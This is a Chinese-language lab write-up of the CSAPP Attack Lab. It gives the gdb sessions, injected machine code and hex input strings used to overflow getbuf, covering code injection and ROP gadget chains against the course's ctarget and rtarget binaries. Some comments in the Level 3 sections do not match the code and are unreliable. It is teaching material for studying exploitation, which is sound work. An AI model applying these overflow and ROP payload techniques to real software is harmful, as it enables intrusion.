CSAPP Lab3: The Attack Lab



CSAPP Lab3: The Attack Lab

https://www.zybuluo.com/SovietPower/note/1801471
參考:
https://blog.csdn.net/AI_lalaland/article/details/105153847
https://blog.csdn.net/weixin_44520881/article/details/109274669


實驗介紹

具體看writeup.pdf

攻擊目標代碼ctarget和rtarget都使用如下函數從標准輸入中讀取字符串:

unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}

BUFFER_SIZE為編譯時就已確定的常數。Getsgets一樣讀入整行字符串到buf中,且不考慮是否可能越界。

測試:
測試可以先在1.txt中輸入想要的16進制字符串,用hex2raw轉為輸入字符串,然后用ctarget/rtarget-i參數文件輸入:

$ ./hex2raw < 1.txt > 1.in
$ ./ctarget -qi 1.in
或
$ ./hex2raw < 1.in | ./ctarget -q

需要加參數-q,不上傳得分到cmu的服務器(否則不能運行)。
用於hex2raw而輸入的16進制串需每兩位一空格,如想要字符串\(01234\),則應輸入\(30\ 31\ 32\ 33\ 00\)\(0x30,0x31,...,0x0\)),可加注釋/* */,但/*后和*/前一定要有空格。

攻擊方式:
Code Injection
前三個Phase。
通過使緩沖區溢出,讓輸入覆蓋返回地址,使PC在retq時返回到某個指定的位置,並執行注入的代碼。

Return-Oriented Programming
后兩個Phase。
棧隨機化(不能確定插入代碼位置)、將棧內存段設為不可執行(不能執行插入代碼),可以使常規破壞方法難以實現。
ROP用於處理這兩種情況。

Part I: Code Injection

程序CTARGET調用如下函數test,輸入一個字符串,通過緩沖區溢出使得程序不從test返回,而是調用touchx函數。

unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}
void test()
{
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

Level 1

void touch1()
{
    vlevel = 1; / * Part of validation protocol * /
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}

因為getbufreturn返回的是調用getbuf前棧指針\(\%rsp\)指向的地址,所以將那個位置的值改為touch1的地址即可。
objdump -d ctarget > ctarget.txt得到匯編代碼:

00000000004017a8 <getbuf>:
    4017a8:	48 83 ec 28          	sub    $0x28,%rsp
    4017ac:	48 89 e7             	mov    %rsp,%rdi
    4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
    4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
    4017b9:	48 83 c4 28          	add    $0x28,%rsp
    4017bd:	c3                   	retq   
    4017be:	90                   	nop
    4017bf:	90                   	nop

可知BUFFER_SIZEbuf的大小為\(0x28=40\),位置在\(\%rsp\)
所以\(40\)字符后寫入的內容會寫到\(\%rsp+0x28\)處,即調用getbufcallq)時的棧頂,即返回地址。所以將touch100000000004017c0 <touch1>)的地址放在\(40\)個字符后即可。
所以想要的字符串內容為:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

用給的hex2raw轉為相應的可輸入串輸入即可:./hex2raw < 1.in | ./ctarget -q

注意地址用小端法表示(注意區分指令與地址)。


Level 2

復習一下幾個點:
調用retq時,PC指向當前%rsp指向的位置,並popq
程序只是單純執行PC指向位置的16進制指令序列(機器代碼.o,編譯器編譯后產生的二進制文件,匯編代碼.s的機器代碼表示),並將PC+1。此外只會因callq,retq等命令改變PC。
gcc -Og -S name.c產生匯編文件name.s
gcc -Og -c name.cgcc -Og -c name.s產生目標代碼文件name.o(機器代碼);
objdump -d name.o將機器代碼對應的匯編代碼逐行表示出來。


void touch2(unsigned val)
{
    vlevel = 2; / * Part of validation protocol * /
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

Level2要求跳轉時帶一個參數,即跳轉前\(\%rdi\)的值需為給定的\(cookie=0x59b997fa\),也就是先實現mov $0x59b997fa,%rdi
輸入串\(s\)存在\(\%rsp\)處。如果將getbuf返回地址\(\%rsp+40\)的值設為\(\%rsp\),PC在retq時就會跳轉到\(\%rsp\)處並執行\(s\)串內容所表示的機器代碼。
所以就可令\(s\)的內容為:

mov $0x59b997fa,%rdi
retq

這時的retq需返回touch2。注意從getbuf執行到這里retq了兩次,此時retq的返回目標即\(\%rsp+40+8\)處存的地址。
所以找到touch2的地址00000000004017ec,通過溢出將其放在\(\%rsp+48\)處即可。

movq $0x59b997fa, %rdi ret寫入2.sgcc -c 2.s得到2.o,再將2.o反匯編即可得到兩條指令的機器代碼:

$ gcc -c 2.s
$ objdump -d 2.o
2.o:     文件格式 elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	c3                   	retq 

此外需要知道buf的存儲位置,即調用getbuf\(\%rsp\)的值,為\(0x5561dc78\)

(gdb) b getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) r -q
Starting program: ./ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12	buf.c: 沒有那個文件或目錄.
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>:	sub    $0x28,%rsp
   0x00000000004017ac <+4>:	mov    %rsp,%rdi
   0x00000000004017af <+7>:	callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq   
End of assembler dump.
(gdb) i r $rsp
rsp            0x5561dca0          0x5561dca0
(gdb) stepi
14	in buf.c
(gdb) i r $rsp
rsp            0x5561dc78          0x5561dc78

所以輸入串為:

48 c7 c7 fa 97 b9 59 c3 //通過串注入的命令
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 //返回到注入命令(串位置)
ec 17 40 00 00 00 00 00 //再次返回到touch2

主要問題在於如何二次返回到touch2
因為retq返回的是\(\%rsp\)所指位置,所以在retqpushq touch2的地址,也可以實現rettouch2。這種方法可能更簡單。
即:

mov $0x59b997fa,%rdi
pushq $0x4017ec
retq

反匯編得到機器代碼:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3                   	retq

所以輸入串:

48 c7 c7 fa 97 b9 59 68 //通過串注入的命令
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 //返回到注入命令(串位置)

注意不能直接修改棧指針(如movq $0x4017ec,%rsp),只能用push/pop,call/ret修改指針。可能是最后validate判斷了棧指針是否被不合理修改,或者這么改不好。


Level 3

/ * Compare string to hex represention of unsigned value * /
int hexmatch(unsigned val, char* sval)
{
    char cbuf[110]; / * Make position of check string unpredictable * /
    char* s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}
void touch3(char* sval)
{
    vlevel = 3; / * Part of validation protocol * /
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

Level3要求跳轉時帶有參數sval,且字符串的數值為cookie=0x59b997fa
可知字符串內容為35 39 62 39 39 37 66 61 00(注意字符串沒有0x,最后有一個\0;內容為16進制表示!0x3n即數n的ASCII碼)。
如果和level2一樣,可知要注入的命令為(00000000004018fa <touch3>):

; 第一行%rsp處為實際內容:35 39 62 39 39 37 66 61
movq  $0x5561dc78,%rdi ; 0x5561dc78為串存儲位置%rsp
pushq $0x4018fa
ret

如果將上面的內容放到串\(sval\)里,再retqtouch3,因為從getbuf retq\(\%rsp\)處前,會釋放\(\%rsp\)\(40\)的空間,此時字符串存在\(\%rsp-40\)處。而調用touch3時會調用hexmatch,里面的數組會使\(\%rsp-\)至少\(110\),此時隨機位置存放的\(s\)可能會覆蓋\(\%rsp-40\)處的原串\(sval\)
所以應將\(sval\)存在test的棧幀里,而不是釋放了的getbuf棧幀里。

所以流程應為:retq前通過溢出在test的棧幀處寫入字符串,然后返回到字符串地址\(\%rsp\)處,執行字符串內的內容(mov, push, ret)。
這樣\(\%rdi\)的值則為test的棧幀地址,需查看一下,為\(0x5561dca8\)

(gdb) b test
Breakpoint 1 at 0x401968: file visible.c, line 90.
(gdb) r -q
Starting program: ./ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, test () at visible.c:90
90	visible.c: 沒有那個文件或目錄.
(gdb) disas
Dump of assembler code for function test:
=> 0x0000000000401968 <+0>:	sub    $0x8,%rsp
   0x000000000040196c <+4>:	mov    $0x0,%eax
   0x0000000000401971 <+9>:	callq  0x4017a8 <getbuf>
   0x0000000000401976 <+14>:	mov    %eax,%edx
   0x0000000000401978 <+16>:	mov    $0x403188,%esi
   0x000000000040197d <+21>:	mov    $0x1,%edi
   0x0000000000401982 <+26>:	mov    $0x0,%eax
   0x0000000000401987 <+31>:	callq  0x400df0 <__printf_chk@plt>
   0x000000000040198c <+36>:	add    $0x8,%rsp
   0x0000000000401990 <+40>:	retq   
End of assembler dump.
(gdb) i r $rsp
rsp            0x5561dcb0          0x5561dcb0
(gdb) stepi
92	in visible.c
(gdb) i r $rsp
rsp            0x5561dca8          0x5561dca8

push的值依然為注入代碼位置\(0x4018fa\)

所以指令為:

movq  $RTARGET,%rdi ; 0x5561dc78為串存儲位置test棧幀
pushq $0x4018fa
ret

其機器語言為:

0000000000000000 <.text>:
   0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi
   7:	68 fa 18 40 00       	pushq  $0x4018fa
   c:	c3                   	retq

輸入串:

48 c7 c7 a8 dc 61 55 68 /* 注入指令 */
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 /* 返回到注入命令(串位置) */
35 39 62 39 39 37 66 61 /* 將實際內容寫入棧幀 */

Part II: Return-Oriented Programming

RTARGET的目的同Part I中的level 2,3,但限制棧上的代碼不可執行。
此時需要利用代碼中本來的可執行段,構造某些操作指令,並使PC指向那個位置。
如一個函數:

void setval_210(unsigned* p)
{
    *p = 3347663060U;
}

其機器代碼為:

0000000000400f15 <setval_210>:
    400f15: c7 07 d4 48 89 c7   movl $0xc78948d4,(%rdi)
    400f1b: c3                  retq

其中48 89 c7正好就是movq %rax,%rdi指令的表示,所以如果讓PC指向400f18,程序會執行movq %rax,%rdi retq
指令序列可在writeup.pdf中查看。

Level 2

需要將\(cookie\)賦值給\(\%rdi\)。像Part I一樣可以通過兩次返回,使程序先執行特定指令,再返回touch2,但不能直接注入指令。

getbuf棧幀位置為\(\%rsp\)
注意字符串可以修改\(\%rsp\)附近的值;getbuf返回時,會\(popq\)\(\%rsp=\%rsp+48\))。
如果令getbuf返回到一個popq %rdi指令,再將\(\%rsp+48\)設為\(cookie=0x59b997fa\),即可實現\(\%rdi=0x59b997fa\)
然后再進行retq指令,並將\(\%rsp+56\)設為touch2地址\(0x4017ec\),即可再返回touch2

在表中找popq %rdi,即5f
然后在RTARGET的機器代碼中找5f(5f c3),得到地址\(0x402b19\)

00000000004023f6 <submitr>:
    4023f6:	41 57                	push   %r15
...
    402b18:	41 5f                	pop    %r15
    402b1a:	c3                   	retq   

所以輸入串:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00 /* 返回到popq %rdi */
fa 97 b9 59 00 00 00 00 /* 賦值%rsp+48 */
ec 17 40 00 00 00 00 00 /* 返回到touch2 */

如果找不到popq %rdi,可以找並通過popq %rax/...mov %rax/...,%rdi實現賦值,最后返回touch2


Level 3

需要將一個串\(sval\)的地址賦值給\(\%rdi\),串內容為\(cookie=\) 35 39 62 39 39 37 66 61 00
除了限制棧上的代碼不能執行外,也有隨機化。

\(cookie\)一定放在串最后,中間是調用某些指令,使得\(\%rdi\)指向\(cookie\)
基本思路大概是,利用表將匯編中存在的mov指令找出來(包括movqmovl,如果movq沒有用movl也一樣),通過存在的mov一步步傳遞,最后將\(\%rdi\)賦值。
注意有個add_xy函數,可以不需構造直接用,所以考慮先將棧頂賦值給\(\%rdi\),再給\(\%rdi\)加上一個數(偏移量)得到恰當存放位置。

找了一個答案看:

//in addval_190 401a06
movq %rsp,%rax //先將棧頂通過%rax傳給%rdi,再進行加
ret //48 89 e0 c3

//in addval_426
movq %rax,%rdi //%rdi=%rsp
ret

//in addval_219
popq %rax //給rax賦值偏移量,使得%rdi偏移到合適位置。這個偏移量數字即這條語句下面一行(棧中的靠下一層)
ret

//in getval_481
movl %eax,%edx //通過存在的鏈將%rax加到%rdi上
ret

//in getval_159
movl %edx,%ecx //繼續在鏈上傳遞
ret

//in addval_436
movl %ecx,%rsi //%rax->%rdx->%rcx傳給%rsi
ret

//in add_xy
lea (%rdi,%rsi,1),%rax //%rax=%rsi+%rdi
retq

//in addval_426
movq %rax,%rdi //%rdi=%rsi+%rdi 實現偏移
ret

輸入串為:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00 /* movq %rsp,%rax */
c5 19 40 00 00 00 00 00 /* movq %rax,%rdi */
ab 19 40 00 00 00 00 00 /* popq %rax */
48 00 00 00 00 00 00 00 /* %rax=48 */
dd 19 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00 /* %rsi=48 */
fa 18 40 00 00 00 00 00 /* %rdi=%rsi+%rdi */
35 39 62 39 39 37 66 61 /* sval實際位置:%rsp+48 */

實驗結果






免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM